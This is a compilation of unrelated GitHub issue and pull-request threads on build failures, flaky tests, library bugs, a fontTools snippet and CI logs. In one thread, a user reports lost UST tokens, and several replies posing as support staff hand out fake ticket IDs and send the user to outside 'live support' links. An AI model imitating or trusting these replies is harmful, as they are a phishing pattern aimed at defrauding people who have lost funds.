I'm bound to:
[alr@overdrive ~]$ ifconfig |grep 192.168
        inet <IP_ADDRESS>  netmask <IP_ADDRESS>  broadcast <IP_ADDRESS>

Some redirect to a local thing hardcoded somewhere?

My github dev app that was referenced by the web.xml was using <IP_ADDRESS> as the ip in the callback url as my wildfly instance was bound to the interface, not localhost. I have updated the dev app to use a localhost callback url, so it should work now, but see the pull request I just put in for #27 that deals with the issue more generally.

I had to install an openshift environment to run the integration tests. After that the tests are passing on a machine that does not have the <IP_ADDRESS> ip address.
[starksm@localhost katapult]$ ifconfig | grep inet
inet <IP_ADDRESS>  netmask <IP_ADDRESS>  broadcast <IP_ADDRESS>
inet6 fe80::42:fdff:fe39:9590  prefixlen 64  scopeid 0x20
inet <IP_ADDRESS>  netmask <IP_ADDRESS>  broadcast <IP_ADDRESS>
inet6 fe80::20c:29ff:fe5b:487f  prefixlen 64  scopeid 0x20
inet <IP_ADDRESS>  netmask <IP_ADDRESS>
inet6 ::1  prefixlen 128  scopeid 0x10
inet <IP_ADDRESS>  netmask <IP_ADDRESS>  broadcast <IP_ADDRESS>
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary:
[INFO]
[INFO] katapult-parent .................................... SUCCESS [  1.444 s]
[INFO] core-api ........................................... SUCCESS [  0.474 s]
[INFO] core-impl .......................................... SUCCESS [  0.055 s]
[INFO] github-service ..................................... SUCCESS [  3.629 s]
[INFO] openshift-service .................................. SUCCESS [  2.882 s]
[INFO] katapult ........................................... SUCCESS [  0.517 s]
[INFO] katapult-ear ....................................... SUCCESS [  0.453 s]
[INFO] tests .............................................. SUCCESS [ 16.642 s]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 26.507 s
[INFO] Finished at: 2016-04-07T22:05:48-07:00
[INFO] Final Memory: 34M/329M
[INFO] ------------------------------------------------------------------------

Working for me now, but I'm unclear as to what changed as I don't see any code. :)
Are we relying on another component that's what the OAuth dev app is referencing: http://gitfork-jbossdev.rhcloud.com/api/github/callback ...?  Is this what you've changed?  If so, what's deployed here?
And is it not possible to have the callbackURL on the OAuth dev app configured in the GitHub UI directly link to "localhost"?

The OAuth dev app that was hardcoded in this version was my GithubApiTesting app. It was it's callback url that I change to refer to localhost. We need two OAuth dev apps in the dev tool project; one that is for testing that uses a localhost based url, and one for the production deployment that uses whatever domain name the github service endpoint will be deployed under. When you merge the externalization pull request, you will need to specify which OAuth dev app you using in your environment.

All setty.


fix flaky tests in RelationalExampleMapperTests

In org.springframework.data.relational.repository.query.RelationalExampleMapperTests, the tests queryByExampleEvenHandlesInvisibleFields(), queryByExampleSupportsPropertyTransforms(), queryByExampleWithFirstnameAndLastname(), queryByExampleWithFirstnameOrLastname(), queryByExampleWithNullMatchingFirstnameAndLastname() are all flaky due to the non-deterministic property of getDeclatedFields() (please refer document). it is internally invoked by getMappedExample(). I fixed them by generating all possibilities of actual query strings and store them in a Set, then  we only need to check if the actual query string is in the Set.

split the string and ensure that the resulting set of conditions is the one we expect

Hi, I've updated all PRs regarding flaky tests in the way that compare each part in the string instead of split the string and ensure that the resulting set of conditions is the one we expect. And all changes in https://github.com/spring-projects/spring-data-jdbc/pull/1096 and https://github.com/spring-projects/spring-data-jdbc/pull/1095 have been merged into this PR. Thanks for the advice!

Thanks, that is polished and merged.


Missing Galaxy wheels

[ ] bagit: https://github.com/LibraryOfCongress/bagit-python/pull/109, fixed since release 1.7.0, need to wait for bdbag to update its pin on bagit
[x] bdbag: https://github.com/galaxyproject/galaxy/pull/6324
[ ] beaker: wheel missing for Python 2.7 too
[ ] bunch: wheel missing for Python 2.7 too, unmaintained, could be replaced with munch
[x] bx-python: https://github.com/galaxyproject/starforge-recipes/pull/13
[ ] cheetah3: https://github.com/CheetahTemplate3/cheetah3/issues/4
[ ] cliff: https://bugs.launchpad.net/python-cliff/+bug/1760157 https://review.openstack.org/#/c/574846/ https://github.com/galaxyproject/galaxy/pull/6469
[x] cloudbridge: https://github.com/gvlproject/cloudbridge/pull/118 https://github.com/galaxyproject/starforge-recipes/pull/18
[ ] deprecation: https://github.com/briancurtin/deprecation/pull/33
[ ] dictobj: wheel missing for Python 2.7 too
[ ] dogpile.cache: wheel missing for Python 2.7 too, has support for universal wheels, https://bitbucket.org/zzzeek/dogpile.cache/issues/126/provide-wheels-on-pypi
[ ] fabric3: https://github.com/mathiasertl/fabric/pull/49
[ ] functools32: https://github.com/michilu/python-functools32/issues/4
[ ] future: wheel missing for Python 2.7 too, https://github.com/PythonCharmers/python-future/issues/250
[ ] mako wheel missing for Python 2.7 too, https://bitbucket.org/zzzeek/mako/pull-requests/26/build-universal-wheels-drop-python-30-32/diff
[x] markupsafe: https://github.com/pallets/markupsafe/issues/45 https://github.com/galaxyproject/starforge-recipes/pull/24
[ ] msgpack: wheels available for Python 2.7, 3.5 and 3.6 (support for 3.4 dropped in release 0.5.0)
[ ] munch: https://github.com/Infinidat/munch/pull/33 , should be fixed in next release (> 2.3.2)
[x] netifaces: https://github.com/galaxyproject/galaxy/pull/6324
[ ] nodeenv
[ ] os-service-types: missing Python 2.7 wheel
[ ] osc-lib: missing Python 2.7 wheel
[ ] prettytable: wheel missing for Python 2.7 too, unmaintained
[x] psutil: https://github.com/giampaolo/psutil/issues/900 https://github.com/galaxyproject/starforge-recipes/pull/17
[x] pycrypto: https://github.com/galaxyproject/galaxy/pull/6324
[ ] pyinotify: https://github.com/seb-m/pyinotify/issues/111
[ ] pyjwkest
[ ] pyperclip: wheel missing for Python 2.7 too, https://github.com/asweigart/pyperclip/pull/131
[ ] pysftp
[x] python-lzo: https://github.com/galaxyproject/starforge-recipes/pull/3
[ ] python-openid: unmaintained, replace with python-openid2 ?
[x] pyyaml: https://github.com/yaml/pyyaml/issues/43 https://github.com/galaxyproject/starforge-recipes/pull/19
[ ] repoze.lru: https://github.com/repoze/repoze.lru/pull/29
[ ] simplejson: wheel missing for Python 2.7 too, https://github.com/simplejson/simplejson/issues/181
[ ] sqlalchemy-migrate: https://review.openstack.org/#/c/577002/
[ ] sqlalchemy-utils: wheel missing for Python 2.7 too
[ ] sqlalchemy: wheel missing for Python 2.7 too
[ ] tempita: wheel missing for Python 2.7 too
[ ] tzlocal: wheel missing for Python 2.7 too
[ ] unicodecsv: missing Python 2.7 wheel
[ ] uwsgi: https://github.com/unbit/uwsgi/issues/816
[ ] warlock: wheel missing for Python 2.7 too
[x] watchdog: https://github.com/gorakhargosh/watchdog/issues/428 https://github.com/galaxyproject/starforge-recipes/pull/21
[x] wrapt: wheel missing for Python 2.7 too, https://github.com/GrahamDumpleton/wrapt/issues/39 https://github.com/GrahamDumpleton/wrapt/pull/105 https://github.com/galaxyproject/starforge-recipes/pull/25

@natefoo Can you help with this? Having python-lzo and bx-python Python3 wheels would help a lot!

For uWSGI, we should switch to pyuwsgi (dev).

Migrated to https://github.com/galaxyproject/starforge-recipes/issues/26 .


Use MAPL patch to fix nbits

Running develop version of GEOSldas gave error in GEOSldas_err_txt:
"ShaveMantissa32: Bad length of mask bits: len= 0, xbits= 12"
@weiyuan-jiang found there was issue in MAPL when we use too many processors if not enough tiles.
Within MAPL 2.10.1 patch he added fix to return 0 when there is no data for bit shaving.
To make new MAPL work we had to move to newer cmake v3.6.5 and env v3.4.1

All Nightly tests passed.
GEOSldas run that used to give nbits error now works.

All Nightly tests passed. GEOSldas run that used to give nbits error now works.

And soon...another PR just like this with new version numbers! Hopefully it does the same! :smile:

Thanks, @biljanaorescanin, @weiyuan-jiang and @mathomp4.
I approved and merged this PR as a stepping stone.  Since we already have MAPL 2.14.0 and an associated PR #487, let's test #487.  If #487 is 0-diff, we can merge and create the new GEOSldas tag based on MAPL 2.14.0.  I'll add comments in #487.

Thanks, @biljanaorescanin, @weiyuan-jiang and @mathomp4. I approved and merged this PR as a stepping stone. Since we already have MAPL 2.14.0 and an associated PR #487, let's test #487. If #487 is 0-diff, we can merge and create the new GEOSldas tag based on MAPL 2.14.0. I'll add comments in #487.

@gmao-rreichle Sounds good. Note that the next time we update env and cmake it'll be non-zero-diff but it's not because MAPL needed it. Rather it's newer compilers and changing some flags.
But for now at least, we have good enough compilers that I could keep the older compiler-flag combo going for a while until you have time to validate.


Add a Gitter chat badge to README.md

keplerproject/luarocks now has a Chat Room on Gitter
@hishamhm has just created a chat room. You can visit it here: https://gitter.im/keplerproject/luarocks.
This pull-request adds this badge to your README.md:

If my aim is a little off, please let me know.
Happy chatting.
PS: Click here if you would prefer not to receive automatic pull-requests from Gitter in future.

Current coverage is 87.68% (diff: 100%)

Merging #612 into master will not change coverage

@@             master       #612   diff @@
==========================================
  Files            53         53
  Lines          6742       6742
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
  Hits           5912       5912
  Misses          830        830
  Partials          0          0

Powered by Codecov. Last update 412ada2...ac4d4c8


boost 1.68 output DLLs' name are incorrect

I just upgraded boost to version 1.68 and I got output dlls named incorrectly.
Example:
it produces "boost_atomic-vc141-mt-x64-1_67.dll" instead of "boost_atomic-vc141-mt-x64-1_68.dll"

I build statically and got this kind of output boost_wserialization-vc140-mt.lib. I'm just stating that, no other intention.

Thanks for catching this!
We're definitely using the new source, however it looks like we missed updating a text file somewhere that changes the dll name :)

@ras0219-msft I don't know whether intentional or not, but building x64-windows-static creates libs named like boost_program_options-vc140-mt.lib, which is fine with me. Two points though, why is there in this case no boost version? Second, why is vc141 renamed to vc140, as I have no vc140 on my system? We need to keep it though, as it seems at some point clang could be used as a tool-chain (it seems so at least), in that case it will, need say something like clang7-vc141 as the crt version is obviously still important.

Removing the version from the .lib name improves compatibility with cmake versions before 3.12. In the vc140/vc141 case, they are binary compatible so we "collapse" the two into just vc140 to enable sharing between both VS2015 and VS2017.  I think in the clang case you may also get collapsed to clang7-vc140, but assuming everything still links this is fine (the CRT is binary compatible).

@ras0219-msft
Why not collapse it into vc14 then, at least that's factual.


S3FileSystem NotImplementedError

Code that worked without any issue a few days ago now fails.
s3fs.__version__:  '2022.10.0'
import s3fs

KEY = os.getenv('AWS_ACCESS_KEY_ID')
SECRET_KEY = os.getenv('AWS_SECRET_ACCESS_KEY')

fs = s3fs.S3FileSystem(key=KEY, secret=SECRET_KEY)
fs.ls("s3://my-bucket")

gives:
---------------------------------------------------------------------------
NotImplementedError                       Traceback (most recent call last)
<ipython-input-4-9ec24d2dd6bc> in <cell line: 2>()
      1 fs = s3fs.S3FileSystem(key=KEY, secret=SECRET_KEY)
----> 2 fs.ls("s3://my-bucket")

/data/code-envs/python/polars/lib/python3.9/site-packages/fsspec/spec.py in ls(self, path, detail, **kwargs)
    338         dicts if detail is True.
    339         """
--> 340         raise NotImplementedError
    341
    342     def _ls_from_cache(self, path):

NotImplementedError:

I can only suppose you have some environment mismatch between fsspec and s3fs -  please check.
fs = s3fs.S3FileSystem()
fs.ls

->
<function s3fs.core.S3FileSystem._ls(path, detail=False, refresh=False)>

(not AbstractFileSystem.ls with the not-implemented)

@martindurant
What I get in the same session that has the error.
fs = s3fs.S3FileSystem()
fs.ls

->
<bound method AbstractFileSystem.ls of <s3fs.core.S3FileSystem object at 0x7fd314fa5e20>>

@martindurant
How to get around this?

Versions of both fsspec and s3fs .
fsspec==2022.10.0
s3fs==2022.10.0

I think it might be pyarrow==10.0.0 causing the issue.
https://arrow.apache.org/docs/python/filesystems.html

Honestly, I don't know! If this were happening in the current version of the code, our tests must be failing, so I can only suppose there is something about your system. Would you mind checking your paths (python executable and library paths, PYTHONPATH and current working directory) or maybe reinstalling in a fresh environment? Please document exactly how you installed python, fsspec and s3fs.

I think it might be pyarrow==10.0.0 causing the issue.

How is arrow related? You didn't even import it in the snippet.

Ok, found the issue.  It is the polars library.
Sorry I did not originally include the import, I was trying to be brief.
I'll downgrade to an earlier version of polars and report back.

reference
https://pola-rs.github.io/polars-book/user-guide/howcani/io/aws.html

downgrading polars to 0.14.17 fixes the issue.  I'll see how high I can go, then report the issue on the polars repo.

Thanks for digging. Please reference your polars issue here.

posted on polars repo
https://github.com/pola-rs/polars/issues/5451


Is it possible to use this package for Multivariate time series ?

Sorry, it is not supported at the moment.


Ensure specialization constants come sorted from reflection

Although it's not the end of the world, spec constants can come not sorted by constant_id. Ensuring they are sorted makes things easier for third-party code (extensions, etc.) that parses them.
If at some point spirv_reflect includes support for spec constants upstream, we may no longer need this patch, provided their code already sorts them. In the meantime, it's much easier for us so sort in Godot-land, where we have sort() than trying to extend the patch to include a sorting algo in the C code of spirv_reflect.

Thanks!


High token usage since recent updates

I think that since the recent updates that enabled editing of Claude's files, it has been using more tokens and subsequently hitting limits far sooner. I regularly come up against per-minute rate limits now before daily ones. I think this is because of all the extra "user edits" are being sent to Claude. These can be significant due to Claude's tendency to omit large parts of code.
Can the user edits be abbreviated somehow? It's basically only because of this behavior. Maybe there is a way to check if user edits have returned a portion of the file to it's original state, thus negating the need to send it all to Claude? Then we could just say "The user has replaced "rest of methods remain unchanged" with the previous content".

+1. No way the cost is accurate last several builds.

I regularly come up against per-minute rate limits

@dancingmadkefka what kind of things is Claude doing that are using up so much tokens? It would be helpful to get additional details here like the tasks you're doing and the token count/price.
@sid-newby can you explain what you mean? Are you using OpenRouter or Anthropic's prompt caching? I've not changed anything that would affect price reporting.

Closing for inactivity but pls feel free to re-open.

I am new to cline and working as a data analyst. Installed cline to test it out. I don't have much programming experience.
Just pinged 'hi', and it shows me - 11.2K tokens up and 74 tokens down.
What does it do to use up so many tokens?


This is not enough, but the two hooks work #2

#2
2 hooks got working. I submitted a pull request, but I can't proceed any further.
logseq.App.onCurrentGraphChanged(() // *** graph change only ***

https://github.com/isosphere/logseq-journals-nextprev/pull/7/commits/d8c4b4a0f8b131db7999d59f3edf436913011d22#diff-27653c212e1cfe533e4eb2f7d0d3f89604c9de48a09583b4cbbbcbd08a07da79R76
logseq.App.onTodayJournalCreated(() // *** CAUTION: today journal only ***

https://github.com/isosphere/logseq-journals-nextprev/pull/7/commits/d8c4b4a0f8b131db7999d59f3edf436913011d22#diff-27653c212e1cfe533e4eb2f7d0d3f89604c9de48a09583b4cbbbcbd08a07da79R86
These hooks will not work if there are any changes other than today's journal in journals. Requires page creation hook (Check if it is a journal). But it doesn't seem to exist in the Plugin API. There is also no alternative way to check if it has been created.

Ah, I see. The hook does fire, it just doesn't fire when I expected it to. It seems to only fire when the journal that is created is for "today", which explains the name. We have no way of knowing if a future journal was created.
This will hopefully change in future as the logseq team works on it to allow us to be a bit more efficient.


Internal server error

https://swe19z3zr7.execute-api.us-east-1.amazonaws.com/fadmin/ returns {"message": "Internal server error"}.
The first request to favicon.ico returns a 403 error followed by code 500 for the document.

Not a real website! Thanks for the report though! :D


use local version of spinner not ui lib

some kinks to work out in ui library, for now I'm going to go back to the local version of the loading spinner while we try to figure out a nicer solution

closing in favor of #467


Question about the distance histogram

Hi Ivan,
Thanks for sharing the source code, it's a great job.
For the distance histogram prediction, as the paper says: "The distance range (2 to 20 Å) is binned into 36 equally spaced segments, 0.5 Å each, plus one bin indicating that residues are not in contact." So the output shape of the network is LL37, and the last bin corresponds to the >20 Å distance.
But when converting the distance distribution to energy potential, what the article says is "For the distance distribution, the probability value for the last bin, i.e., [19.5, 20], is used as a reference state ... ", which is contradictory to the definition of the last bin (>20 Å but not [19.5, 20]).
Is it my misunderstanding or is there something wrong?

Hi Anders,
Your question is quite relevant - we haven't described bin numbering carefully enough in the paper. The >20A distance bin is actually bin #0 in the code, and the last bin corresponds to distances 19.5..20A - and this is the bin participating in the reference state correction.
Ivan

That makes sense.
Thanks for the clarification.


[Feature] Echarts resize not work in Vue3

What problem does this feature solve?
I defined a component in Vue3 which contains Echarts, when I use the component in a parent compent for only one time, the resize function did work, but when it comes to more than 2, the resize function broken unless the page is refreshed.
The component of Echarts is below:
<template>

</template>

And the parent component is like this:
<template>

    <SideBar></SideBar>

      <chart chartID="future" :options="FutureOptions" />
      <chart chartID="cot" :options="COTOptions" />
      <chart chartID="scatter" :options="scatterOptions" />

</template>

What does the proposed API look like?
Is there any feature to solve the problem?

same question

same question

Providing a stackblitz demo may be helpful to resolve this issue.

这是来自QQ邮箱的假期自动回复邮件。

您好，我最近正在休假中，无法亲自回复您的邮件。我将在假期结束后，尽快给您回复。

I had the same issue when layout out my charts via flexbox. I was able to get rid of the problem by switching to a grid instead.
.content {
  display: grid;
  grid-auto-flow: row;
  grid-template-columns: repeat(1,1fr);
  gap: 1rem;
}

这是来自QQ邮箱的假期自动回复邮件。

您好，我最近正在休假中，无法亲自回复您的邮件。我将在假期结束后，尽快给您回复。


[wish snippet] Add a new TRAK axis in an optimal way

Could someone perhaps write a snippet that shows how to add a TRAK axis to an existing VF?

The user values should go from -1000 to +1000
At -1000, there should a delta that reduces the advance width of all glyphs by -head.unitsPerEm
At +1000, there should a delta that increases the advance width of all glyphs by +head.unitsPerEm
Can work in just gvar-based (TT) fonts
The fvar tag should be TRAK and the name should be Tracking
No fvar instances

I imagine that this could be done in quite optimized way, but I’m not sure how to approach this. I think it would be generally useful, and it’s something that is best added onto a finished font rather than on the source level.

from fontTools.ttLib import TTFont
from fontTools.ttLib.tables._f_v_a_r import Axis
import fontTools.ttLib.tables.TupleVariation as tv
import argparse

TupleVariation = tv.TupleVariation

parser = argparse.ArgumentParser(description="Add a TRAK axis")
parser.add_argument("-o", "--output", help="output font file")
parser.add_argument("font", help="font to add the axis to")

args = parser.parse_args()

font = TTFont(args.font)

if "fvar" not in font:
    raise Exception("Font does not have fvar table")

var = font["gvar"].variations
for glyphname, value in var.items():
    glyph = font["glyf"][glyphname]
    numPointsInGlyph = font["gvar"].getNumPoints_(glyph)

    minusValue = TupleVariation(
        {"TRAK": (-1.0, -1.0, 0.0)}, [(0, 0)] * numPointsInGlyph
    )
    minusValue.coordinates[-3] = (-font["head"].unitsPerEm, 0)

    plusValue = TupleVariation({"TRAK": (0.0, 1.0, 1.0)}, [(0, 0)] * numPointsInGlyph)
    plusValue.coordinates[-3] = (font["head"].unitsPerEm, 0)

    value.append(minusValue)
    value.append(plusValue)

# HVAR is horrible and I hate it.
if "HVAR" in font:
    del font["HVAR"]

# Add axis at the end after gvar is decompiled
trak = Axis()
trak.axisTag = "TRAK"
trak.minValue, trak.defaultValue, trak.maxValue = -1000, 0, 1000
trak.axisNameID = font["name"].addName("Tracking")
fvar = font["fvar"]
fvar.axes.append(trak)

# Each named instance needs to add the axis too, even though we're not using it there.
for instance in fvar.instances:
    instance.coordinates["TRAK"] = 0

font.save(args.output)

HVAR is horrible and I hate it.

That was a good chuckle.

excellent, thank you!

I’ll briefly clarify why this is useful: with instancer, I can this way »freeze« letter-spacing into an instance. And remix with other axes (wght, wdth for example) to simulate opsz :)

The snippet works, the output font works in Samsa & FontView & FontGoggles, but in Safari & Chrome changing any variations makes the glyphs disappear.


Didn't received send UST from Terra bridge to BSC -meta mask  by WORMHOLE  2300UST on 11 May

could support team help me
on 11 may i send UST from Terra bridge to BSC -Meta mask  by WORMHOLE  2300UST
It is still not receied
could you help check for my  issue
really thanks

Hello @Smilerider  , A support ticket has been opened for you, with support ticket ID FLV9829. Talk to a Terra Dev on the Live support page so that you can get a response and transaction looked into. Thank you. CLICK HERE

could support team help me
on 11 may i send UST from Terra bridge to BSC -Meta mask by WORMHOLE 2300UST
It is still not receied
could you help check for my issue
really thanks

Hello, A support ticket has been opened for you with Support ticket number BND268HJ. You should talk to a Terra money Dev on the LIVE SUPPORT PAGE So that your issue can be looked into. Thank you. CLICK HERE

What was in those deleted comments? Why has the problem not been resolved yet?

could support team help me on 11 may i send UST from Terra bridge to BSC -Meta mask by WORMHOLE 2300UST It is still not receied could you help check for my issue really thanks

Please see the link below to our dedicated support line: Your support ticket id is TERR73829

[ Support: Terra Ecosystem Support](https://support.polygon.technology/support/home)


"joinRelativeURL" is not exported by "../../node_modules/ufo/dist/index.mjs", imported by "virtual:nuxt:C:/Users/MyPc/Workspace/my-project/apps/my-app/.nuxt/paths.mjs".

Environment
Nuxt project info:                                                                                6:51:46

Operating System: Windows_NT
Node Version:     v21.4.0
Nuxt Version:     3.11.1
CLI Version:      3.11.1
Nitro Version:    2.9.3
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      devtools, ssr, app, modules, turnstile, typescript, routeRules, gtag, nitro, image, runtimeConfig, sitemap, site, nuxtIcon, content, vite, experimental, fonts
Runtime Modules:  @unocss/nuxt, @nuxt/content<EMAIL_ADDRESS>@nuxt/fonts<EMAIL_ADDRESS>@nuxtjs/seo, nuxt-icon, nuxt-gtag, @nuxtjs/turnstile, @hebilicious/form-actions-nuxt

Reproduction
Appeared after upgrading to 3.11.1
Describe the bug
Build fails when running generate
Additional context
No response
Logs
[6:48:18]  ERROR  Nuxt Build Error: "joinRelativeURL" is not exported by "../../node_modules/ufo/dist/index.mjs", imported by "virtual:nuxt:C:/Users/MyPc/Workspace/my-project/apps/my-app/.nuxt/paths.mjs".

  at error (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:2287:30)
  at Module.error (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:13745:16)
  at Module.traceVariable (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:14175:29)
  at ModuleScope.findVariable (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:12615:39)
  at ReturnValueScope.findVariable (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:7124:38)
  at Identifier.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:8319:40)
  at CallExpression.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:5892:23)
  at CallExpression.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:9890:15)
  at ArrowFunctionExpression.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:5892:23)
  at VariableDeclarator.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:5892:23)
  at VariableDeclaration.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:5888:28)
  at ExportNamedDeclaration.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:10673:27)
  at Program.bind (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:5888:28)
  at Module.bindReferences (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:13741:18)
  at Graph.sortModules (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:25853:20)
  at Graph.build (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:25737:14)
  at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
  at async /C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:26706:13
  at async catchUnfinishedHookActions (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:25910:16)
  at async rollupInternal (/C:/Users/MyPc/Workspace/my-project/node_modules/rollup/dist/es/shared/node-entry.js:26701:5)
  at async Module.build (/C:/Users/MyPc/Workspace/my-project/node_modules/@nuxt/vite-builder/node_modules/vite/dist/node/chunks/dep-52909643.js:48079:18)
  at async buildClient (/C:/Users/MyPc/Workspace/my-project/node_modules/@nuxt/vite-builder/dist/shared/vite-builder.20543d77.mjs:565:5)
  at async bundle (/C:/Users/MyPc/Workspace/my-project/node_modules/@nuxt/vite-builder/dist/shared/vite-builder.20543d77.mjs:1442:3)
  at async bundle (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxt/dist/index.mjs:5062:5)
  at async Promise.all (index 1)
  at async build (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxt/dist/index.mjs:4937:5)
  at async Object.run (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxi/dist/chunks/build.mjs:95:5)
  at async Object.run (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxi/dist/chunks/generate.mjs:56:5)
  at async runCommand$1 (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxi/dist/shared/nuxi.9edf0930.mjs:1648:16)
  at async runCommand$1 (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxi/dist/shared/nuxi.9edf0930.mjs:1639:11)
  at async runMain$1 (/C:/Users/MyPc/Workspace/my-project/node_modules/nuxi/dist/shared/nuxi.9edf0930.mjs:1777:7)

Seems to be gone after removing node_modules and yarn.lock and reinstalling the dependencies

Yes, this just requires you have the latest version of ufo installed. It’s a package manager quirk, and is why we recommend refreshing your lockfile when upgrading


[CARBONDATA-3503][WIP][Carbon2] Adapt to SparkSessionExtension

Drop CarbonSession,CarbonSessionCatalog support
Use SparkSessionExtensions
TODO:
a. Drop CarbonEnv
b. Deprecate store and meta paths
Existing tests must pass
Added new testcase to extend spark session via extensions

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/349/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/347/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/352/

@jackylk @kevinjmh This is still a WIP, will update the todo as scope is bigger to cover in one PR, will send out for final review. Marked as WIP for now

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/391/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/390/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/391/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/392/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/391/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/392/

retest this please

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/399/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/399/

retest this please

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/398/

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/401/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/402/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/402/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/401/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/422/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/422/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/420/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/422/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/424/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/424/

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/431/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/434/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/434/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/432/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/435/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/435/

retest this please

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/434/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/437/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/436/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/437/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/438/

Build Failed  with Spark 2.3.2, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/440/

Build Failed with Spark 2.2.1, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.2/441/

Build Failed  with Spark 2.1.0, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.1/442/

